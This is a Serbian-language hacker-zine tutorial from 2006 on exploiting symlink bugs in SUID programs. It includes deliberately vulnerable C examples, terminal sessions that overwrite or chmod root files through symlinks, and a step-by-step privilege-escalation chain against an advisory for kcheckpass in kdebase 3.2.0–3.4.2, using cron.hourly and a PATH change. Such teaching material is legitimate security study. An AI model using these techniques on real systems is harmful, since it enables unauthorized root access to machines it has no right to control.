...................
                       ...::: phearless zine #5 :::...

........................>---[ Symlink Attacks ]---<.........................

.........................>---[ by Wintermuth ]---<..........................
                                                      anikolic@phearless.org
                                               http://anikolic.phearless.org


  [1] Uvod
  [2] World wide writting symlink bag
  [3] Menjanje permisija symlink bug
  [4] kcheckpass - real world symlink bag eksploitacija
  [5] Last words


////////////////////////////////////////////////////////////////////////////
--==<[ 1. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

 E pa ljudi eto mene ponovo. Sad je peti januar ove sveze nove 2006e godine.
I  polako  se  blizi  vreme  novom  jubilarnom  5om  izdanju  nama omiljenog
phearlessa.  Prezivesmo  docek nove godine, kako tako, ja sam se evo snabdeo
novom  tastaturom  jer  je  stara  popila  dupli martini i pola piva i umrla
(uopste nije na gazdu:)). Samim tim sto je nova treba i malo da se razgiba a
i  ja  treba da naucim da kucam po istoj. Meni to ne predstavlja problem ali
mislim  da ce Shatterhand da me tera dodjavola kad mu budem predao tekst pun
gresaka  u kucanju :) Anywayz, dosta praznih prica, nisam vam ja bl00d, nego
da krenemo mi na sam tekst.

  Nedavno sam primljen na jedan forum i tamo bio jedan challenge da se resi.
Bio   je  u  pitanju  upravo  symlink  napad.  Do  sada  sam  takve  smatrao
neiskoristivim  i  nije  mi  palo  na pamet kako bi mogao da se iskoristi za
dobijanje  root shella sto je i bio cilj. Pitao sam jos neke ljude i niko od
njih  nije  imao  ideju  kako  da  ga  resimo.  Napokon, autor challengea je
postavio  jedno  od  mogucih  resenja  i  ja sam se udario u glavu koliko je
prosto,  ali  opet  prilicno  lukavo.  Naime, kod symlink napada morate biti
kreativni  sto  ovaj  challenge  dokazuje.  Ovde  cu  na  manje vise, pravim
primerima  pokazati  neke  tehnike  eksploitisanja symlink attack bagova. Za
razliku od drugog teksta, tj nastavka onog iz prethodnog broja ovaj tekst je
prilicno  lagan za razumevanje i mislim pristupacan svima. Ono sto vam treba
za  njegovo  razumevanje  jeste  malo  poznavanje  UNIXoliki sistema i zdrav
mozak.  Znanje  Ca  nikada  nije  na  izmet jer sam primere davao uglavnom u
istom.

////////////////////////////////////////////////////////////////////////////
--==<[ 2. World wide writting symlink bag
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  Symlink  bagovi  nastaju  pri  losoj  ili  nikakvoj proveri fajlova u koje
program  upisuje  nesto.  Iskoriscavanje  symlink  bagova  vam dozvoljava da
pisete po odredjenim a cesto i bilo kojim fajlovima, po kojima inace nebiste
mogli,  i  time  na kraju dovedu do toga da vi dobijete root shell ili nesto
slicno.  Da bi bili od neke vece koristi symlink bug bi trebalo da postoji u
SUID  programu.  Sto  znaci  da bi se on pokretao s root pravima i time imao
pristup  svemu.  Ovo  je  vrlo cest slucaj. Jos jedna vrlo cesta greska koju
programeri cine jeste da kad prave tmp fajlove za potrebe programa obicno ne
osecaju  potrebu  za  proverama  pre  njihove upotrebe i pri samom kreiranju
istih sto takodje dovodi do mogucnosti za symlink napad.

  Sta nama tacno omogucava symlink bag? Recimo da imamo SUID program koji ne
radi potrebne provere pre koriscenja ili pisanja fajla u koji nesto upisuje.
Takodje,  znamo  i mesto i ime gde se taj fajl nalazi. Znajuci to, mozemo na
mesto  gde  ce  se  fajl nalaziti da napravimo symlink koji ce pokazivati na
neki drugi fajl, koji nam inace zbog prava pristupa nijej dostupan. Naravno,
taj  symlink  ce  imati isto ime kao i fajl koji bi program koristio. Sta se
zatim desava? Program biva pokrenut. Ne proverava da li fajl vec postoji ili
da  li je stvarno fajl ili je nesto drugo pocinje da pise po njemu. Posto je
to  u  stvari  symlink  on  ne  pise  po  njemu vec po fajlu na koji symlink
pokazuje.  Posto  je  SUID  program,  on  moze  da  pose po svim fajlovima i
omogucava nam da radimo nesto sto nebismo smeli :).

Da  bi  ovo  malo  razjasnili  i prakticno demonstrirali koristicu se jednim
prostim primerom:

------symvuln1.c---------

#include <stdio.h>

main(int argc, char **argv[])
{
FILE *aca;

aca = fopen("aca","a+");

fprintf(aca,"%s",argv[1]);
fclose(aca);
}
 
------/sumvuln1.c-------

  Sta  to  imamo  ovde?  Pa  prosto, program uzima argument pri pokretanju i
upisuje ga u fajl pod imenom "aca". Ovo je samo prost primer, tesko da ce se
negde  u  nekom  programu  nacinesto  ovako banalno, ali postoje sanse da se
nadje  u  nekoj  skripti koju je napisao neki mrzovoljni amdinistrator da bi
radio  neke  poslove  automatski  a  pri tome nije razmisljao o ovakvom vidu
napada. Da bi nam bio od neke koristi program mora da bude SUID.

 earthquake@gibson:~$ su
 Password:
 
 root@gibson:/home/earthquake# gcc symvuln1.c  -o symvuln1
 
 root@gibson:/home/earthquake# chown root.root symvuln1
 root@gibson:/home/earthquake# chmod +s symvuln1
 root@gibson:/home/earthquake#
 
  Dobro,  imamo  SUID program koji pise sta god mi pozelimo u fajl aca u mom
home direktorijumu bez da proverava isti prethodno. Sta bi mogli s tim majku
mu?  Pa  naravno,  symlink napad. A za to nam treba symbolicki link ka nekom
fajlu  koji  zelimo da menjamo a inace nemamo tu mogucnost. Na pamet mi pada
mnogo  fajlova  ali da nebih morao da sredjujem svoj sistem posle ovoga necu
se  petljati s pravim fajlovima vec sa laznim ali bice vam jasno sta hocu da
kazem. Dakle symlink:
 
earthquake@gibson:~$ ln -s /root/passwd aca
earthquake@gibson:~$ ls -l aca
lrwxrwxrwx  1 earthquake users 12 2006-01-05 13:49 aca -> /root/passwd

  Sada  u  svom  home  direktorijumu  imam symlink aca koji pokazuje na fajl
/root/passwd  (citaj /etc/passwd ali kao sto rekoh, da ne pravim backupove i
da bih ustedeo sebi muke posle). I kada sad pokrenem nas ranjivi program:

earthquake@gibson:~$ ./symvuln1  www.phearless.org
earthquake@gibson:~$ cat /root/passwd
cat: /root/passwd: Permission denied
earthquake@gibson:~$ su
Password:
root@gibson:/home/earthquake# cat /root/passwd | grep www <------
www.phearless.org                           <---i evo ga 
root@gibson:/home/earthquake#
root@gibson:/home/earthquake# exit
exit
earthquake@gibson:~$

  Eto,  uspesno  smo  upisali ono sto smo zeleli u fajl u koji inace nebismo
mogli.  Mislim da vam je jasnko kako bi ovo mogli da iskoristite da bi dosli
do privilegovanog naloga na sistemu. Valjda ne moram bas sve da crtam :)

////////////////////////////////////////////////////////////////////////////
--==<[ 3. Menjanje permisija symlink bug
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

 Drugi, verovatno cesci, vid symlink bugova jesu i greske kada program menja
permisije  nekog  fajla  bez  prethodne  provere  istog.  Na  primer, slican
scenario, imamo program koji u nekom trenutku menja permisije pristupa nekog
fajla  iz nekog razloga ali prethodno ne proverava taj fajl kako bi trebalo.
Opet  naravno  mozemo da iskoristimo tu mogucnost symlink napada i promenimo
permisije nekog fajla i time dobijemo pristup istom. Naravno i u tom slucaju
program  koji je ranjiv na symlink napade mora da bude SUID da bi nam bio od
koristi. Nego ajde to lepo da ilustrujemo primerom da bi bilo jasnije:
    
-------symvuln2.c---------
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

main(int argc, char **argv[])
{
chmod("aca",00400|00200|00100|00040|00020|00010|00004|00002|00001);
}
------/symvuln2.c---------

 Ovaj jednostavni program samo menja permisije na fajlu "aca" koji se nalazi
u  mom  home  direktorijumu  na  world  readable,  world  writeble  i  world
executable permisije. I naravno, ocigledno nema potrebnih provera nad fajlom
koji menja. Stoga je ranjiv na symlink napad. Da bi bio od neke koristi mora
da bude SUID:

earthquake@gibson:~$
Password:
root@gibson:/home/earthquake# gcc symvuln2.c -o symvuln2
root@gibson:/home/earthquake# chown root.root symvuln2
root@gibson:/home/earthquake# chmod +s symvuln2
root@gibson:/home/earthquake# exit
exit
earthquake@gibson:~$

 Sada kada je SUID treba nam i taj famozni symlink pod imenom aca u mom home
direktorijumu.  Namestimo  ga  da  pokazuje  na neki bitan fajl koji do sada
nismo  mogli ni da gledamo a ni da pisemo , logicno. Prvo koji svakome padne
na pamet jeste /etc/shadow naravno mada je izbor veliki.
Ajde da vidimo kako to funkcionise:
    
earthquake@gibson:~$ su
Password:
root@gibson:/home/earthquake# cd ~
root@gibson:~# ls -l passwd
-rwxr--r--  1 root root 777 2006-01-05 13:57 passwd
root@gibson:~# exit
exit

Ocigledno je kakve su permisije na fajlu /root/passwd.

earthquake@gibson:~$ ln -s /root/passwd aca
earthquake@gibson:~$ ls -l aca
lrwxrwxrwx  1 earthquake users 12 2006-01-05 14:53 aca -> /root/passwd*

Napravili smo symlinkk aca ka fajlu /root/passwd.

earthquake@gibson:~$ ./symvuln2
earthquake@gibson:~$ su
Password:
root@gibson:/home/earthquake# cd ~
root@gibson:~# ls -l passwd
-rwxrwxrwx  1 root root 777 2006-01-05 13:57 passwd
root@gibson:~# exit
exit

 Pokrenuli smo program i sada su permisije na passwd fajlu promenjene u nasu
korist.  Sada  svako  moze da ga cita i pise po njemu, moze i da ga izvrsava
ali to nije bitno jer nije skripta ili nesto slicno.
  To je bio jos jedan vid symlink napada koji se cesce srece. Tacnije, retko
cete  naci u nekom programu gresku koja ce vam dozvoliti da kontrolisete sta
se  upisuje  u  fajl  kao u prvom primeru ali se cesce nalaze ovakve greske.
Prilicno  slicna  ranjivost  prvom primeru bila je u Sendmail paketu verzije
8.8.4.  Tacnije  ako  sendmail utvrdi da onaj host kojem je mail namenjen ne
postoji on ga je smestao u fajl koji se zvao dead.letter, tacnije smestao je
sadrzaj  poruke. Zbog nepostojanja provera, napadac je mogao da posalje mail
na  nepostojecu  adresu  a  da  prethodno  od dead.letter napravi symlink ka
recimo  /etc/passwd  fajlu,  a  u  samom  mailu napise sve potrebno da bi se
napravio acc sa root privilegijama i bez sifre.

////////////////////////////////////////////////////////////////////////////
--==<[ 4. kcheckpass - real world symlink bag eksploitacija
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  E sad, sve je to lepo ali sta ako ne mozemo da kontrolisemo output, a i ne
menjaju  se privilegije pristupa? Savrsena ilustracija ovog problema je onaj
challenge koji sam pomenuo na pocetku teksta. Naime radilo se o symlink bagu
u  jednom  od  KDE  programa. Tacnije rec je o kcheckpass programu koji vrsi
autentifikaciju  korisnika.  Ajde  da vidimo sam advisory koji nam dolazi od
SureSeca  i  od  gospodina  Ilje  van  Sprundela. Ilja inace obozava da rusi
stvari,  na ovom poslednjem Chaos Comunication Congressu je drzao predavanje
o  fuzzerima,  na kojem naravno nisam bio, ali se nadam da h4z4rd jeste i da
ce moci da mi ga preprica/da ili sta vec, Ilja ima iza sebe nekoliko fuzzera
za  mnoge  stvari  i  autor  je  FUZZING.pdf teksta/prezentacije/necega koja
obuhvata neke ideje iz tog domena. Nego dosta o Ilji, bacimo se na advisory:
    
Vulnerable systems:

* kdebase versions 3.2.0 to 3.4.2

kcheckpass  is a utility used to authenticate users. It's used by tools such
as kscreensaver. The code that's used to create a lockfile doesn't check for
or  sets  the  umask.  Besides the umask problem it will also happily follow
symlinks, as shown by the following code snippet:
...
sprintf(fname, "/var/lock/kcheckpass.%d", uid);
if ((lfd = open(fname, O_RDWR | O_CREAT)) >= 0) {
}
...

In  order for an attacker to be able to exploit this /var/lock would have to
be  world  writable  and  kcheckpass  would  have  to  be  suid.  When these
conditions are met an attacker can create a world writable file anywhere.

  When  properly  exploited  users  can gain root privileges (given that the
previously mentioned conditions are met).

  Dakle,  kao  sto kaze advisory kcheckpass pravi lock file u /var/lock i ne
proverava ga kako bi trebalo. To nam omogucava da probamo sa symlink napadom
da dobijemo root.

Ajd prvo da vidimo sta se desava:
    
earthquake@gibson:~$ cd /var/lock
earthquake@gibson:/var/lock$ ls -l
total 4
drwxr-xr-x  2 root root 4096 2006-01-05 18:53 subsys/
earthquake@gibson:/var/lock$ kcheckpass
Password:
Authentication failure
earthquake@gibson:/var/lock$ ls -l
total 8
-rwxr-x--T  1 root users   13 2006-01-05 19:55 kcheckpass.1000*
drwxr-xr-x  2 root root  4096 2006-01-05 18:53 subsys/
earthquake@gibson:/var/lock$ cat kcheckpass.1000
1136487342 0
earthquake@gibson:/var/lock$

  Kao sto vidimo, pri pokretanju, kcheckpass trazi sifru. Pri unosu pogresne
sifre  stvara  lock  file  pod imenom kcheckpass.$UID. Posto je moj UID 1000
lock  fajl  se  zove  kcheckpass.1000. Kao sto vidimo, sadrzaj lock fajla je
1136487342  0  sto definitivno nemozemo da kontrolisemo. A kao sto vidimo iz
sourcea kcheckpass programa on ne menja permisije fajla. Upravo zato je ovaj
challenge  bio  zanimljiv  i zbog toga sam lupao glavom o zid (ne bukvalno).
Resenje je krajnje prosto ali na prvi pogled neocigledno.

  Resenje  je  da  se  output koji kcheckpass ispisuje preusmeri na neku vec
postojecu  skriptu koju zatim izvrsava neki SUIDni program. Naslucujete kuda
ovo  vodi  nadam se. Tako sto upisemo, ovo sto kcheckpass normalno upisuje u
neki  fajl, u neku skriptu, pri pokretanju skripte ona ce pokusati da izvrsi
fajl  koji  se  zove  upravo  kao  output  iz  kcheckpassa,  u  ovo  slucaju
1136487342.  Mozemo  napraviti prost program koji bi nam davao shell pristup
sa  root  privilegijama i da ga nazovemo 1136487342. Kada ga skripta koja je
pokrenuta  od  strane  SUID  program  apokrene  on ce nam dati shell i voila
w00t!!!. 

 Ajde da vidimo to u praksi. Prvo treba da nadjemo odgovarajucu skriptu koju
ce    pokrenuti   neki  SUIDni  program.  Postoji  naravno  vise  nacina  za
eksploitaciju  ovoga.  Posto  nemam  bas mnogo vremena da cesljam po sistemu
trazeci  odgovarajucu  skriptu, koristicu CRON. CRON jednostavno vidi sta se
nalazi  u  odredjenim  folderima  u /etc/ i izvrsava te fajlove kao skripte.
Dakle,  ako u folderu /etc/cron.hourly napravimo bilo koju skriptu, sam cron
ce je izvrsavati svakih sat vremena.
I to izgleda ovako:

earthquake@gibson:/var/lock$ ls -l
total 4
drwxr-xr-x  2 root root 4096 2006-01-08 11:18 subsys/
earthquake@gibson:/var/lock$ ln -s /etc/cron.hourly/expl.sh kcheckpass.1000
earthquake@gibson:/var/lock$ ls -l
total 4
lrwxrwxrwx  1 earthquake users   24 2006-01-08 14:45 kcheckpass.1000 -> /etc/cron.hourly/expl.sh
drwxr-xr-x  2 root       root  4096 2006-01-08 11:18 subsys/
earthquake@gibson:/var/lock$

  Dobro,  sad imamo skriptu, fali nam samo ono sto ce skripta pokrenuti a to
je  program  koji  ima  ime  onog timestampa koji ostavlja kcheckpass. To je
1136487342  ili  sl.  Da bi nam bio od koristi to treba da bude neki program
koji  bi  nam  nakon svog izvrsenja dao privilegovani pristup sistemu. Znaci
ili  da  doda  novog usera sa root pravima ili da /etc/shadow stavi na world
readble ili nesto trece, kreativnost je korisna. 
   Znaci,  napravite  takav  program,  kompajlirate  ga  i  stavite  mu  ime
1136487342. Ali to nije sve, potrebno je i da postavite $PATH varijablu kako
treba da bi cron mogao da nadje vas program. Dakle:

earthquake@gibson:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/opt/www/htdig/bin:
/usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:.
earthquake@gibson:~$ export PATH=/home/earthquake:/usr/local/bin:/usr/bin:
/bin:/usr/X11R6/bin:/usr/games:/opt/www/htdig/bin:/usr/lib/java/bin:
/usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:.
earthquake@gibson:~$ echo $PATH
/home/earthquake:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:
/opt/www/htdig/bin:/usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin:
/usr/lib/qt/bin:.
earthquake@gibson:~$

 E sad kad ste to postavili jedino sto nam preostaje jeste da sacekamo da se
zavrsi  taj cron job koji u stvar izvrsava nas program sa root privilegijama
i to je to.

////////////////////////////////////////////////////////////////////////////
--==<[ 5. Last words
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  Naravno,  verovatno  postoji  i neki bolji nacin da se ovo eksploitise ali
meni za sada nije pao na pamet. Ako neko bude imao interesantna resenja neka
mi posalje na mail. Par hintova za eksploitaciju: 
  Mozete  koristiti  npr /etc/profile skriptu ali se setite kada se samo ona
pokrece.  Eventualno  mozete  koristiti  i /etc/ld.so.preload fajl, ali onda
stvari  bivaju  prilicno komplikovanije. U ovo slucaju budite  vrlo pazljivi
posto vrlo lako mozete unistiti svoj sistem.
    
Kod ovakvih vrsta napada jako bitna stvar je biti kreativan. To je u sustini
ono sto ovu "profesiju" cini interesantnom. 

Da ne duzim, ae pozdrav svima.